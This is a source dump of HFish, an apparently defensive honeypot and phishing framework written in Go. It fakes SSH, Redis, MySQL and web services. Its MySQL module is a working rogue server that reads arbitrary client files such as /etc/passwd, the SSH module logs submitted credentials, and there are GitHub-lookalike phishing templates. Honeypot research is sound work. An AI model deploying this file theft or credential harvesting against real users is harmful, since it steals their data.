├── .gitattributes ├── .gitignore ├── LICENSE ├── README.md ├── admin ├── dashboard.html ├── fish.html ├── footer.html ├── header.html ├── login.html ├── mail.html └── setting.html ├── config.ini ├── core ├── dbUtil │ └── dbUtil.go ├── exec │ └── exec.go ├── protocol │ ├── mysql │ │ └── mysql.go │ ├── redis │ │ └── redis.go │ └── ssh │ │ └── ssh.go └── report │ └── report.go ├── db └── hfish.db ├── error └── error.go ├── go.mod ├── go.sum ├── images ├── 1.png ├── 2.png ├── 3.png ├── help.png ├── mysql.png ├── redis.png ├── run.png ├── web.png └── wechat.jpg ├── logs └── hfish.log ├── main.go ├── static ├── admin │ └── libs │ │ └── moment │ │ └── moment.js ├── css │ ├── bootstrap-flex.css │ ├── bootstrap-flex.css.map │ ├── bootstrap-grid.css │ ├── bootstrap-grid.css.map │ ├── bootstrap-reboot.css │ ├── bootstrap-reboot.css.map │ ├── chartist.css │ ├── chartist.css.map │ ├── style.css │ ├── style.css.map │ ├── tables.stack-mixin.css │ ├── tables.stack-mixin.css.map │ ├── tablesaw.stackonly.css │ ├── tablesaw.stackonly.css.map │ ├── weather-icons-wind.css │ ├── weather-icons-wind.css.map │ ├── weather-icons-wind.min.css │ ├── weather-icons-wind.min.css.map │ ├── weather-icons.css │ └── weather-icons.css.map ├── favicon.ico ├── fonts │ ├── FontAwesome.otf │ ├── Material-Design-Iconic-Font.eot │ ├── Material-Design-Iconic-Font.svg │ ├── Material-Design-Iconic-Font.ttf │ ├── Material-Design-Iconic-Font.woff │ ├── Material-Design-Iconic-Font.woff2 │ ├── Pe-icon-7-stroke.eot │ ├── Pe-icon-7-stroke.svg │ ├── Pe-icon-7-stroke.ttf │ ├── Pe-icon-7-stroke.woff │ ├── Simple-Line-Icons.eot │ ├── Simple-Line-Icons.svg │ ├── Simple-Line-Icons.ttf │ ├── Simple-Line-Icons.woff │ ├── Simple-Line-Icons.woff2 │ ├── fontawesome-webfont.eot │ ├── fontawesome-webfont.svg │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ ├── fontawesome-webfont.woff2 │ ├── glyphicons-halflings-regular.eot │ ├── glyphicons-halflings-regular.svg │ ├── glyphicons-halflings-regular.ttf │ ├── glyphicons-halflings-regular.woff │ ├── glyphicons-halflings-regular.woff2 │ ├── ionicons.eot │ ├── ionicons.svg │ ├── ionicons.ttf │ ├── ionicons.woff │ ├── themify.eot │ ├── themify.svg │ ├── themify.ttf │ ├── themify.woff │ ├── typicons.eot │ ├── typicons.svg │ ├── typicons.ttf │ ├── typicons.woff │ ├── weathericons-regular-webfont.eot │ ├── weathericons-regular-webfont.svg │ ├── weathericons-regular-webfont.ttf │ ├── weathericons-regular-webfont.woff │ └── weathericons-regular-webfont.woff2 ├── images │ ├── avatar.png │ ├── logo.png │ └── xy.png ├── js │ ├── bootstrap.js │ ├── bootstrap.min.js │ ├── detect.js │ ├── jquery.app.js │ ├── jquery.core.js │ ├── jquery.min.js │ ├── jquery.nicescroll.js │ ├── loginbg.js │ ├── modernizr.min.js │ ├── tether.min.js │ └── waves.js └── libs │ ├── bootstrap-sweetalert │ ├── sweet-alert.css │ ├── sweet-alert.js │ ├── sweet-alert.min.js │ └── thumbs-up.jpg │ ├── echarts │ ├── echarts.js │ ├── echarts4.min.js │ └── map │ │ ├── baise.js │ │ ├── baise.json │ │ ├── china.js │ │ ├── china.json │ │ ├── guangxi.js │ │ ├── guangxi.json │ │ ├── world.js │ │ └── world.json │ └── switchery │ ├── switchery.min.css │ └── switchery.min.js ├── utils ├── color │ └── color.go ├── conf │ └── conf.go ├── file │ └── file.go ├── md5 │ └── md5.go ├── send │ └── gomail.go ├── setting │ └── setting.go └── try │ └── try.go ├── view ├── api │ └── view.go ├── dashboard │ └── view.go ├── fish │ └── view.go ├── login │ └── view.go ├── mail │ └── view.go ├── setting │ └── view.go └── url.go └── web └── github ├── html └── index.html └── static └── github.js /.gitattributes: -------------------------------------------------------------------------------- 1 | *.js linguist-language=Go 2 | *.css linguist-language=Go 3 | *.html linguist-language=Go -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, build with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | .idea 15 | vendor 16 | .DS_Store 17 | */.DS_Store 18 | */.idea/% 19 | */vendor/% -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 HackLC 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![1.png](./images/1.png) 2 | 3 | # 介绍 4 | 5 | > *本 Team 研发此平台,仅为企业安全测试使用,禁止其他人员使用非法用途!一切行为与本 Team 无关。* 6 | 7 | **HFish** 是一款基于 Golang 开发的跨平台多功能主动攻击型蜜罐钓鱼平台框架系统,为了企业安全防护测试做出了精心的打造 8 | 9 | - 多功能 不仅仅支持 HTTP(S) 钓鱼,还支持 SSH、SFTP、Redis、Mysql 等 10 | - 扩展性 提供 API 接口,使用者可以随意扩展钓鱼模块 ( WEB、PC、APP ) 11 | - 便捷性 使用 Golang 开发,使用者可以在 Win + Mac + Linux 上快速部署一套钓鱼平台 12 | 13 | # 地址 14 | 15 | - Github: https://github.com/hacklcs/HFish 16 | - Download: https://github.com/hacklcs/HFish/releases 17 | 18 | # 快速部署 19 | 20 | ### 部署说明 21 | 22 | - 下载当前系统二进制包 23 | - cd 到程序根目录,修改 config.ini 配置文件 24 | - 执行 ./HFish run 启动服务 25 | - 浏览器输入 http://localhost:9001 打开 26 | 27 | ### 帮助页面 28 | 29 | ![help.png](./images/help.png) 30 | 31 | ### 启动服务 32 | 33 | ![run.png](./images/run.png) 34 | 35 | # 部分界面展示 36 | 37 | ![3.png](./images/3.png) 38 | 39 | ![2.png](./images/2.png) 40 | 41 | # 部分功能使用演示 42 | 43 | ### WEB 钓鱼 44 | 45 | ![web.png](./images/web.png) 46 | 47 | ### Redis 钓鱼 48 | 49 | ![redis.png](./images/redis.png) 50 | 51 | ### Mysql 钓鱼 52 | 53 | ![mysql.png](./images/mysql.png) 54 | 55 | # 注意事项 56 | 57 | - 邮箱 SMTP 配置后需要开启方可使用 58 | - API 接口 info 字段,&& 为换行符 59 | - 启动 WEB 钓鱼,请先启动 API 模块 60 | - WEB 插件 需在 WEB 目录下 编写 61 | - WEB 插件 下面必须存在两个目录 62 | 63 | # API 接口 64 | 65 | ``` 66 | URL: http://localhost:9001/api/v1/post/report 67 | 68 | POST: 69 | 70 | name : Github 钓鱼 # 项目名 71 | info : admin&&12345 # 上报信息,&& 为换行符号 72 | sec_key : 9cbf8a4dcb8e30682b927f352d6559a0 # API 安全密钥 73 | 74 | 特殊说明: 75 | 76 | URL api/v1/post/report 可在 config.ini 配置里修改 77 | sec_key 可在 config.ini 配置里修改,修改后 WEB 模板也需要同时修改 78 | ``` 79 | 80 | # TODO 81 | 82 | - [x] 登录模块 83 | - [x] 仪表盘模块 84 | - [x] 上钩列表 85 | - [x] 邮件群发 86 | - [x] 命令行优化 87 | - [x] 支持自定义 WEB 模板 88 | - [x] 支持 Mysql 服务端获取连接客户端电脑任意文件 89 | - [x] 支持 HTTP(S)、SSH、SFTP、Redis、Mysql 协议 90 | - [ ] 支持 FTP、Telnet、SMTP、POP3、TFTP、Oracle、VPN 等 91 | - [ ] 暗网钓鱼支持 92 | - [ ] WIFI 钓鱼支持 93 | - [ ] 自动化钓鱼支持 94 | - [ ] 钓鱼报告生成 95 | - [ ] 支持更多的 WEB 模块 96 | - [ ] 日记完善优化 97 | - [ ] 邮件发送支持编辑器 98 | - [ ] 支持邮件模板选择 99 | - [ ] 蜜罐高交互完善 100 | - [ ] 支持 Ngrok 一键映射 101 | - [ ] 支持分布式架构 102 | - [ ] 支持分页 103 | - [ ] 支持 ip 地理信息 和 地图数据展示 104 | - [ ] 支持更多的图表统计 105 | - [ ] 规划更多的功能... 106 | 107 | # 关于 108 | 109 | - Team: HackLC 110 | - URL: https://hack.lc 111 | 112 | # 反馈群 113 | 114 | 加微信拉人,请备注 **HackLC** 115 | 116 | ![wechat.png](./images/wechat.jpg) -------------------------------------------------------------------------------- /admin/dashboard.html: -------------------------------------------------------------------------------- 1 | {{template "header"}} 2 | 27 |
28 |
29 | 35 |

仪表盘

36 |
37 |
38 |
39 | 40 |
WEB上钩数
41 |

{{.webSum}}

42 |
43 |
44 |
45 |
46 | 47 |
SSH上钩数
48 |

{{.sshSum}}

49 |
50 |
51 | 52 |
53 |
54 | 55 |
Redis上钩数
56 |

{{.redisSum}}

57 |
58 |
59 | 60 |
61 |
62 | 63 |
Mysql上钩数
64 |

{{.mysqlSum}}

65 |
66 |
67 | 68 |
69 |
70 |

服务状态

71 |

ADMIN

72 | 73 | {{if eq .apiStatus "1"}} 74 |

API

75 | {{else}} 76 |

API

77 | {{end}} 78 | 79 | {{if eq .webStatus "1"}} 80 |

WEB

81 | {{else}} 82 |

WEB

83 | {{end}} 84 | 85 | {{if eq .sshStatus "1"}} 86 |

SSH

87 | {{else}} 88 |

SSH

89 | {{end}} 90 | 91 | {{if eq .redisStatus "1"}} 92 |

REDIS

93 | {{else}} 94 |

REDIS

95 | {{end}} 96 | 97 | {{if eq .mysqlStatus "1"}} 98 |

MYSQL

99 | {{else}} 100 |

MYSQL

101 | {{end}} 102 |
103 |
104 | 105 |
106 |
107 |
108 |
109 |
110 |
111 | {{template "footer" }} 112 | 113 | -------------------------------------------------------------------------------- /admin/fish.html: -------------------------------------------------------------------------------- 1 | {{template "header"}} 2 | 81 |
82 |
83 | {{/*
*/}} 84 | {{/*导出 */}} 86 | {{/**/}} 87 | {{/*
*/}} 88 |

上钩列表

89 |
90 | 91 |
92 |
93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 |
项目来源 IP信息上钩时间操作
105 |
106 |
107 |
108 | 109 | 122 | 123 | {{template "footer" }} 124 | -------------------------------------------------------------------------------- /admin/footer.html: -------------------------------------------------------------------------------- 1 | {{define "footer"}} 2 | 3 | 4 | 15 | 16 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | {{end}} -------------------------------------------------------------------------------- /admin/header.html: -------------------------------------------------------------------------------- 1 | {{define "header"}} 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | HFish - 一款企业安全主动攻击型蜜罐钓鱼框架系统 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 |
19 |
20 | 21 | 27 | 28 | 45 | 75 |
76 |
77 |
78 | 79 | 84 |
85 | 86 |
87 |
88 | 89 | {{end}} -------------------------------------------------------------------------------- /admin/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | HFish - 一款企业安全主动攻击型蜜罐钓鱼框架系统 8 | 9 | 10 | 22 | 23 | 24 | 25 | 26 |
27 |
28 | 59 |
60 | Copyright 2019 © HFish - HackLC 63 |
64 |
65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 117 | -------------------------------------------------------------------------------- /admin/mail.html: -------------------------------------------------------------------------------- 1 | {{template "header"}} 2 | 42 |
43 | 44 |
45 |

邮件群发

46 |
47 | 48 |
49 |
50 |
51 | 52 |

人不努力,和咸鱼有什么区别?

53 |
54 |
55 |

基本信息

56 |
57 | 59 |
60 | 61 |
62 |
63 |
64 | 66 |
67 | 68 |
69 |
70 |
71 | 73 |
74 | 75 |
76 |
77 |
78 |

邮件模板

79 | 80 |
81 | 82 | 85 |
86 |
87 |
88 |
89 | {{template "footer" }} 90 | -------------------------------------------------------------------------------- /admin/setting.html: -------------------------------------------------------------------------------- 1 | {{template "header"}} 2 | 21 |
22 | 23 |
24 |
25 |

系统设置

26 |
27 | 28 |
29 |
30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | {{range $i, $e := .dataList}} 43 | 44 | 45 | 46 | 47 | 53 | 60 | 66 | 67 | {{end}} 68 | 69 |
名称介绍更新时间配置状态状态操作
{{$e.setting_name}} {{$e.setting_dis}}{{$e.update_time}}{{if ne $e.info ""}} 48 | 已配置 49 | {{else}} 50 | 未配置 51 | {{end}} 52 | 59 | 61 | 65 |
70 |
71 |
72 | 73 |
74 |
75 | 76 | 77 | 109 | 110 | {{template "footer" }} 111 | 195 | -------------------------------------------------------------------------------- /config.ini: -------------------------------------------------------------------------------- 1 | [admin] 2 | addr = 127.0.0.1:9001 # 管理后台启动地址 3 | account = admin # 登录账号 4 | password = admin # 登录密码 5 | 6 | [api] 7 | status = 1 # 是否启动 API 1 启动 0 关闭 8 | url = /api/v1/post/report # 管理后台启动地址 9 | sec_key = 9cbf8a4dcb8e30682b927f352d6559a0 # API 认证秘钥 10 | 11 | [web] 12 | status = 0 # 是否启动 WEB 1 启动 0 关闭, 启动 API 后 WEB 方可上报结果 13 | addr = 0.0.0.0:9000 # WEB 启动地址,0.0.0.0 对外开放,127.0.0.1 对内开放 可走 Nginx 反向代理 14 | template = github/html # WEB 模板路径 15 | static = github/static # WEB 静态文件路径 注意:必须存在两个目录,html 文件 和静态文件 不能平级 16 | url = / # WEB 访问目录,默认 / 可更改成 index.html index.asp index.php 17 | 18 | [ssh] 19 | status = 0 # 是否启动 SSH 1 启动 0 关闭 20 | addr = 0.0.0.0:22 # SSH 服务端地址 注意端口冲突,请先关闭服务器 openssh 服务 或 修改端口 21 | 22 | [redis] 23 | status = 0 # 是否启动 Redis 1 启动 0 关闭 24 | addr = 0.0.0.0:6379 # Redis 服务端地址 注意端口冲突 25 | 26 | [mysql] 27 | status = 0 # 是否启动 Mysql 1 启动 0 关闭 28 | addr = 0.0.0.0:3306 # Mysql 服务端地址 注意端口冲突 29 | files = /etc/passwd,/etc/group # Mysql 服务端读取客户端任意文件; 多写逗号分隔,会随机取 -------------------------------------------------------------------------------- /core/dbUtil/dbUtil.go: -------------------------------------------------------------------------------- 1 | package dbUtil 2 | 3 | import ( 4 | "database/sql" 5 | _ "github.com/mattn/go-sqlite3" 6 | "HFish/error" 7 | ) 8 | 9 | // 连接数据库 10 | func conn() *sql.DB { 11 | db, err := sql.Open("sqlite3", "./db/hfish.db") 12 | error.Check(err, "连接数据库失败") 13 | return db 14 | } 15 | 16 | // 插入数据 17 | func Insert(sql string, args ...interface{}) int64 { 18 | /* 19 | 参数说明: 20 | 21 | sql insert 语句 22 | args insert value 参数 23 | 24 | 使用案例: 25 | 26 | sql := ` 27 | INSERT INTO coot_tasks ( 28 | task_name, 29 | task_explain, 30 | task_id, 31 | task_time_type, 32 | task_time, 33 | last_exec_time, 34 | is_plug_script, 35 | script_type, 36 | script_path, 37 | alert_type, 38 | create_time 39 | ) 40 | VALUES 41 | (?,?,?,?,?,?,?,?,?,?,?); 42 | ` 43 | dbUtil.Insert(sql, "插入任务测试", "测试说明", "", 1, "2", "", "1", "shell", "/scripts/myscript/test.sh", "1", "2019-07-10 16:12") 44 | */ 45 | db := conn() 46 | stmt, _ := db.Prepare(sql) 47 | 48 | res, err := stmt.Exec(args...) 49 | error.Check(err, "插入数据失败") 50 | 51 | defer stmt.Close() 52 | 53 | id, err := res.LastInsertId() 54 | error.Check(err, "获取插入ID失败") 55 | 56 | defer db.Close() 57 | 58 | // 返回 自增长 ID 59 | return id 60 | } 61 | 62 | // 更新数据 63 | func Update(sql string, args ...interface{}) int64 { 64 | /* 65 | 参数说明: 66 | 67 | sql update 语句 68 | args update 参数 69 | 70 | 使用案例: 71 | 72 | sql := ` 73 | UPDATE coot_tasks 74 | SET task_name = ? 75 | WHERE 76 | id = ?; 77 | ` 78 | dbUtil.Update(sql, "任务更新测试", 1) 79 | */ 80 | db := conn() 81 | stmt, _ := db.Prepare(sql) 82 | 83 | res, err := stmt.Exec(args...) 84 | 85 | error.Check(err, "更新数据失败") 86 | defer stmt.Close() 87 | 88 | affect, err := res.RowsAffected() 89 | error.Check(err, "获取影响行数失败") 90 | 91 | defer db.Close() 92 | 93 | return affect 94 | } 95 | 96 | // 查询数据 97 | func Query(sql string, args ...interface{}) []map[string]interface{} { 98 | /* 99 | 参数说明: 100 | 101 | sql select 语句 102 | args select 参数 103 | 104 | 使用案例: 105 | 106 | sql := `select * from coot_tasks where id=?;` 107 | result := dbUtil.Query(sql, 1) 108 | */ 109 | 110 | db := conn() 111 | 112 | rows, err := db.Query(sql, args ...) 113 | error.Check(err, "查询数据失败") 114 | 115 | defer rows.Close() 116 | 117 | columns, err := rows.Columns() 118 | error.Check(err, "查询表名失败") 119 | 120 | count := len(columns) 121 | 122 | tableData := make([]map[string]interface{}, 0) 123 | values := make([]interface{}, count) 124 | valuePtrs := make([]interface{}, count) 125 | 126 | for rows.Next() { 127 | for i := 0; i < count; i++ { 128 | valuePtrs[i] = &values[i] 129 | } 130 | rows.Scan(valuePtrs...) 131 | entry := make(map[string]interface{}) 132 | for i, col := range columns { 133 | var v interface{} 134 | val := values[i] 135 | b, ok := val.([]byte) 136 | if ok { 137 | v = string(b) 138 | } else { 139 | v = val 140 | } 141 | entry[col] = v 142 | } 143 | tableData = append(tableData, entry) 144 | } 145 | 146 | defer db.Close() 147 | 148 | return tableData 149 | } 150 | 151 | // 删除数据 152 | func Delete(sql string, args ...interface{}) int64 { 153 | /* 154 | 参数说明: 155 | 156 | sql delete 语句 157 | args delete 参数 158 | 159 | 使用案例: 160 | 161 | sql := `delete from coot_tasks where id=?;` 162 | dbUtil.Delete(sql, 2) 163 | */ 164 | db := conn() 165 | 166 | stmt, _ := db.Prepare(sql) 167 | 168 | res, err := stmt.Exec(args...) 169 | error.Check(err, "删除数据失败") 170 | defer stmt.Close() 171 | 172 | affect, err := res.RowsAffected() 173 | error.Check(err, "获取影响行数失败") 174 | 175 | defer db.Close() 176 | 177 | return affect 178 | } 179 | -------------------------------------------------------------------------------- /core/exec/exec.go: -------------------------------------------------------------------------------- 1 | package exec 2 | 3 | import ( 4 | "os/exec" 5 | "bytes" 6 | ) 7 | 8 | func Execute(shell string) (string, error) { 9 | cmd := exec.Command("/bin/bash", "-c", shell) 10 | var out bytes.Buffer 11 | 12 | cmd.Stdout = &out 13 | err := cmd.Run() 14 | if err != nil { 15 | return "", err 16 | } 17 | return out.String(), nil 18 | } 19 | -------------------------------------------------------------------------------- /core/protocol/mysql/mysql.go: -------------------------------------------------------------------------------- 1 | package mysql 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "fmt" 7 | "log" 8 | "net" 9 | "syscall" 10 | "strings" 11 | "HFish/error" 12 | "HFish/core/report" 13 | ) 14 | 15 | //读取文件时每次读取的字节数 16 | const bufLength = 1024 17 | 18 | //服务器第一个数据包的数据,可以根据格式自定义,这里要注意SSL字段要置0 19 | var GreetingData = []byte{ 20 | 0x4a, 0x00, 0x00, 0x00, 0x0a, 0x35, 0x2e, 0x35, 0x2e, 0x35, 0x33, 21 | 0x00, 0x01, 0x00, 0x00, 0x00, 0x75, 0x51, 0x73, 0x6f, 0x54, 0x36, 22 | 0x50, 0x70, 0x00, 0xff, 0xf7, 0x21, 0x02, 0x00, 0x0f, 0x80, 0x15, 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 24 | 0x26, 0x2b, 0x47, 0x62, 0x39, 0x35, 0x3c, 0x6c, 0x30, 0x45, 0x4a, 25 | 0x00, 0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x6e, 0x61, 0x74, 0x69, 26 | 0x76, 0x65, 0x5f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 27 | 0x00, 28 | } 29 | 30 | //服务器第二个数据包认证成功的OK响应 31 | var OkData = []byte{0x07, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00} 32 | 33 | //保存要读取的文件列表 34 | var fileNames []string 35 | 36 | //记录每个客户端连接的次数 37 | var recordClient = make(map[string]int) 38 | 39 | func Start(addr string, files string) { 40 | fmt.Println("mysql启动...") 41 | 42 | // 启动 Mysql 服务端 43 | serverAddr, _ := net.ResolveTCPAddr("tcp", addr) 44 | listener, _ := net.ListenTCP("tcp", serverAddr) 45 | 46 | // 读取文件列表 47 | fileNames = strings.Split(files, ",") 48 | 49 | for { 50 | conn, _ := listener.Accept() 51 | ip, _, _ := net.SplitHostPort(conn.RemoteAddr().String()) 52 | 53 | //由于文件最后保存的文件名包含ip地址,为了本地测试加了这个 54 | if ip == "::1" { 55 | ip = "localhost" 56 | } 57 | 58 | //这里记录每个客户端连接的次数,实现获取多个文件 59 | _, ok := recordClient[ip] 60 | if ok { 61 | if recordClient[ip] < len(fileNames)-1 { 62 | recordClient[ip] += 1 63 | } 64 | } else { 65 | recordClient[ip] = 0 66 | } 67 | 68 | go connectionClientHandler(conn) 69 | } 70 | } 71 | 72 | func connectionClientHandler(conn net.Conn) { 73 | defer conn.Close() 74 | connFrom := conn.RemoteAddr().String() 75 | 76 | arr := strings.Split(connFrom, ":") 77 | id := report.ReportMysql(arr[0], connFrom+" 已经连接") 78 | 79 | var ibuf = make([]byte, bufLength) 80 | //第一个包 81 | _, err := conn.Write(GreetingData) 82 | error.Check(err, "") 83 | 84 | //第二个包 85 | _, err = conn.Read(ibuf[0: bufLength-1]) 86 | 87 | //判断是否有Can Use LOAD DATA LOCAL标志,如果有才支持读取文件 88 | if (uint8(ibuf[4]) & uint8(128)) == 0 { 89 | _ = conn.Close() 90 | log.Println("The client not support LOAD DATA LOCAL") 91 | return 92 | } 93 | //第三个包 94 | _, err = conn.Write(OkData) 95 | 96 | //第四个包 97 | _, err = conn.Read(ibuf[0: bufLength-1]) 98 | 99 | //这里根据客户端连接的次数来选择读取文件列表里面的第几个文件 100 | ip, _, _ := net.SplitHostPort(conn.RemoteAddr().String()) 101 | getFileData := []byte{byte(len(fileNames[recordClient[ip]]) + 1), 0x00, 0x00, 0x01, 0xfb} 102 | getFileData = append(getFileData, fileNames[recordClient[ip]]...) 103 | 104 | //第五个包 105 | _, err = conn.Write(getFileData) 106 | getRequestContent(conn, id) 107 | } 108 | 109 | //获取客户端传来的文件数据 110 | func getRequestContent(conn net.Conn, id int64) { 111 | var content bytes.Buffer 112 | //先读取数据包长度,前面3字节 113 | lengthBuf := make([]byte, 3) 114 | _, err := conn.Read(lengthBuf) 115 | error.Check(err, "") 116 | 117 | totalDataLength := int(binary.LittleEndian.Uint32(append(lengthBuf, 0))) 118 | if totalDataLength == 0 { 119 | log.Println("Get no file and closed connection.") 120 | return 121 | } 122 | //然后丢掉1字节的序列号 123 | _, _ = conn.Read(make([]byte, 1)) 124 | ibuf := make([]byte, bufLength) 125 | totalReadLength := 0 126 | //循环读取知道读取的长度达到包长度 127 | for { 128 | length, err := conn.Read(ibuf) 129 | switch err { 130 | case nil: 131 | log.Println("Get file and reading...") 132 | //如果本次读取的内容长度+之前读取的内容长度大于文件内容总长度,则本次读取的文件内容只能留下一部分 133 | if length+totalReadLength > totalDataLength { 134 | length = totalDataLength - totalReadLength 135 | } 136 | content.Write(ibuf[0:length]) 137 | totalReadLength += length 138 | if totalReadLength == totalDataLength { 139 | //读取完成保存到本地文件 140 | getFileContent(content, id) 141 | //随便写点数据给客户端 142 | _, _ = conn.Write(OkData) 143 | } 144 | case syscall.EAGAIN: // try again 145 | continue 146 | default: 147 | log.Println("Closed connection: ", conn.RemoteAddr().String()) 148 | return 149 | } 150 | } 151 | } 152 | 153 | //保存文件 154 | func getFileContent(content bytes.Buffer, id int64) { 155 | report.ReportUpdateMysql(id, "&&"+content.String()) 156 | } 157 | -------------------------------------------------------------------------------- /core/protocol/redis/redis.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | import ( 4 | "net" 5 | "bufio" 6 | "strings" 7 | "strconv" 8 | "HFish/utils/try" 9 | "HFish/core/report" 10 | ) 11 | 12 | var kvData map[string]string 13 | 14 | func Start(addr string) { 15 | kvData = make(map[string]string) 16 | 17 | //建立socket,监听端口 18 | netListen, _ := net.Listen("tcp", addr) 19 | 20 | defer netListen.Close() 21 | 22 | for { 23 | conn, err := netListen.Accept() 24 | if err != nil { 25 | continue 26 | } 27 | arr := strings.Split(conn.RemoteAddr().String(), ":") 28 | id := report.ReportRedis(arr[0], conn.RemoteAddr().String()+" 已经连接") 29 | 30 | go handleConnection(conn, id) 31 | } 32 | } 33 | 34 | //处理 Redis 连接 35 | func handleConnection(conn net.Conn, id int64) { 36 | for { 37 | str := parseRESP(conn) 38 | 39 | switch value := str.(type) { 40 | case string: 41 | report.ReportUpdateRedis(id, "&&"+str.(string)) 42 | 43 | if len(value) == 0 { 44 | goto end 45 | } 46 | conn.Write([]byte(value)) 47 | case []string: 48 | if value[0] == "SET" || value[0] == "set" { 49 | // 模拟 redis set 50 | 51 | try.Try(func() { 52 | key := string(value[1]) 53 | val := string(value[2]) 54 | kvData[key] = val 55 | 56 | report.ReportUpdateRedis(id, "&&"+value[0]+" "+value[1]+" "+value[2]) 57 | 58 | }).Catch(func() { 59 | // 取不到 key 会异常 60 | }) 61 | 62 | conn.Write([]byte("+OK\r\n")) 63 | } else if value[0] == "GET" || value[0] == "get" { 64 | // 模拟 redis get 65 | key := string(value[1]) 66 | val := string(kvData[key]) 67 | 68 | valLen := strconv.Itoa(len(val)) 69 | str := "$" + valLen + "\r\n" + val + "\r\n" 70 | 71 | report.ReportUpdateRedis(id, "&&"+value[0]+" "+value[1]) 72 | 73 | conn.Write([]byte(str)) 74 | } else { 75 | try.Try(func() { 76 | report.ReportUpdateRedis(id, "&&"+value[0]+" "+value[1]) 77 | }).Catch(func() { 78 | report.ReportUpdateRedis(id, "&&"+value[0]) 79 | }) 80 | 81 | conn.Write([]byte("+OK\r\n")) 82 | } 83 | break 84 | default: 85 | 86 | } 87 | } 88 | end: 89 | conn.Close() 90 | } 91 | 92 | // 解析 Redis 协议 93 | func parseRESP(conn net.Conn) interface{} { 94 | r := bufio.NewReader(conn) 95 | line, err := r.ReadString('\n') 96 | if err != nil { 97 | return "" 98 | } 99 | 100 | cmdType := string(line[0]) 101 | cmdTxt := strings.Trim(string(line[1:]), "\r\n") 102 | 103 | switch cmdType { 104 | case "*": 105 | count, _ := strconv.Atoi(cmdTxt) 106 | var data []string 107 | for i := 0; i < count; i++ { 108 | line, _ := r.ReadString('\n') 109 | cmd_txt := strings.Trim(string(line[1:]), "\r\n") 110 | c, _ := strconv.Atoi(cmd_txt) 111 | length := c + 2 112 | str := "" 113 | for length > 0 { 114 | block, _ := r.Peek(length) 115 | if length != len(block) { 116 | 117 | } 118 | r.Discard(length) 119 | str += string(block) 120 | length -= len(block) 121 | } 122 | 123 | data = append(data, strings.Trim(str, "\r\n")) 124 | } 125 | return data 126 | default: 127 | return cmdTxt 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /core/protocol/ssh/ssh.go: -------------------------------------------------------------------------------- 1 | package ssh 2 | 3 | import ( 4 | "github.com/gliderlabs/ssh" 5 | "HFish/core/report" 6 | "strings" 7 | ) 8 | 9 | func Start(addr string) { 10 | ssh.ListenAndServe(addr, nil, 11 | ssh.PasswordAuth(func(s ssh.Context, password string) bool { 12 | info := s.User() + "&&" + password 13 | 14 | arr := strings.Split(s.RemoteAddr().String(), ":") 15 | report.ReportSSH(arr[0], info) 16 | 17 | return false // false 代表 账号密码 不正确 18 | }), 19 | ) 20 | } 21 | -------------------------------------------------------------------------------- /core/report/report.go: -------------------------------------------------------------------------------- 1 | package report 2 | 3 | import ( 4 | "HFish/core/dbUtil" 5 | "time" 6 | ) 7 | 8 | // 上报 WEB 9 | func ReportWeb(projectName string, ip string, info string) { 10 | sql := `INSERT INTO hfish_info(type,project_name,ip,info,create_time) values(?,?,?,?,?);` 11 | dbUtil.Insert(sql, "WEB", projectName, ip, info, time.Now().Format("2006-01-02 15:04:05")) 12 | } 13 | 14 | // 上报 SSH 15 | func ReportSSH(ip string, info string) { 16 | sql := `INSERT INTO hfish_info(type,project_name,ip,info,create_time) values(?,?,?,?,?);` 17 | dbUtil.Insert(sql, "SSH", "SSH钓鱼", ip, info, time.Now().Format("2006-01-02 15:04:05")) 18 | } 19 | 20 | // 上报 Redis 21 | func ReportRedis(ip string, info string) int64 { 22 | sql := `INSERT INTO hfish_info(type,project_name,ip,info,create_time) values(?,?,?,?,?);` 23 | return dbUtil.Insert(sql, "REDIS", "Redis钓鱼", ip, info, time.Now().Format("2006-01-02 15:04:05")) 24 | } 25 | 26 | // 更新 Redis 操作 